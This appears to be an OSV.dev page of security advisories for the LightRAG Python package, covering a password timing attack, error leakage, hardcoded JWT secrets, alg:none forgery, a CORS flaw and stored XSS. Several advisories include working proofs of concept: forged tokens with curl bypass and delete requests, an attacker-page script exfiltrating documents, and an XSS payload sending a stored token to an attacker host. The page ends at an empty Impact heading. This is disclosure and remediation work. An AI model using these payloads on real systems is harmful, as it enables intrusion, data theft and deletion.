            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-39413 PYSEC-2026-2592 GHSA-8ffj-4hx4-9pgf Jul 13, 2026

lightrag-hku: JWT Algorithm Confusion Vulnerability

4.2 / 10

Medium

Network High High Required Unchanged High None None

Summary

The LightRAG API is vulnerable to a JWT algorithm confusion attack where an attacker can forge tokens by specifying 'alg': 'none' in the JWT header. Since the jwt.decode() call does not explicitly deny the 'none' algorithm, a crafted token without a signature will be accepted as valid, leading to unauthorized access.

Details

In lightrag/api/auth.py at line 128, the validate_token method calls:

payload = jwt.decode(token, self.secret, algorithms=[self.algorithm])

This allows any algorithm listed in the token's header to be processed, including 'none'. The code does not explicitly specify that 'none' is not allowed, making it possible for an attacker to bypass authentication.

PoC

An attacker can generate a JWT with the following structure:

{
  "header": {
    "alg": "none",
    "typ": "JWT"
  },
  "payload": {
    "sub": "admin",
    "exp": 1700000000,
    "role": "admin"
  }
}

Then send a request like:

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTcwMDAwMDAwMCwicm9sZSI6ImFkbWluIn0." http://localhost:8000/api/protected-endpoint

Impact

An attacker can impersonate any user, including administrators, by forging a JWT with 'alg': 'none', gaining full access to protected resources without needing valid credentials.

Recommended Fix

Explicitly specify allowed algorithms and exclude 'none'. Modify the validate_token method to:

allowed_algorithms = [self.algorithm] if self.algorithm != 'none' else ['HS256', 'HS384', 'HS512']
payload = jwt.decode(token, self.secret, algorithms=allowed_algorithms)

Or better yet, hardcode the expected algorithm(s):

payload = jwt.decode(token, self.secret, algorithms=['HS256'])

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 65 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.14

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-30762 PYSEC-2026-2593 GHSA-mcww-4hxq-hfr3 Jul 13, 2026

LightRAG: Hardcoded JWT Signing Secret Allows Authentication Bypass

7.5 / 10

High

Network Low None None Unchanged High None None

Subject: Security Vulnerability Report Hardcoded JWT Secret (CVE-2026-30762)

Hi HKUDS team,

I'm writing to report a security vulnerability I discovered in LightRAG v1.4.10. This has been assigned CVE-2026-30762 by MITRE.

Vulnerability: Hardcoded JWT signing secret Type: Improper Authentication (CWE-287) Severity: High Attack Vector: Remote / Unauthenticated

Summary: The file lightrag/api/config.py (line 397) uses a default JWT secret "lightrag-jwt-default-secret" when the TOKEN_SECRET environment variable is not set. The AuthHandler in lightrag/api/auth.py (lines 24-25) uses this secret to sign and verify tokens. An unauthenticated attacker can forge valid JWT tokens using the publicly known default secret and gain access to any protected endpoint.

Reproduction:

Install LightRAG v1.4.10 with AUTH_ACCOUNTS configured but no TOKEN_SECRET set
Use PyJWT to sign a token: jwt.encode({"sub": "admin", "role": "user"}, "lightrag-jwt-default-secret", algorithm="HS256")
Send a request to any protected endpoint with the header: Authorization: Bearer <forged_token>
Access is granted without valid credentials

Suggested Fix: Require TOKEN_SECRET to be explicitly set when AUTH_ACCOUNTS is configured. Refuse to start the API server if authentication is enabled but no custom secret is provided.

I'm following a 90-day responsible disclosure timeline from today's date. Please let me know if you have any questions or need additional information.

Best regards, Venkata Avinash Taduturi

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 64 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13rc1


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4

Fixed in


          1.4.13

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 11, 2025

1.4.9.1 patch

9 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

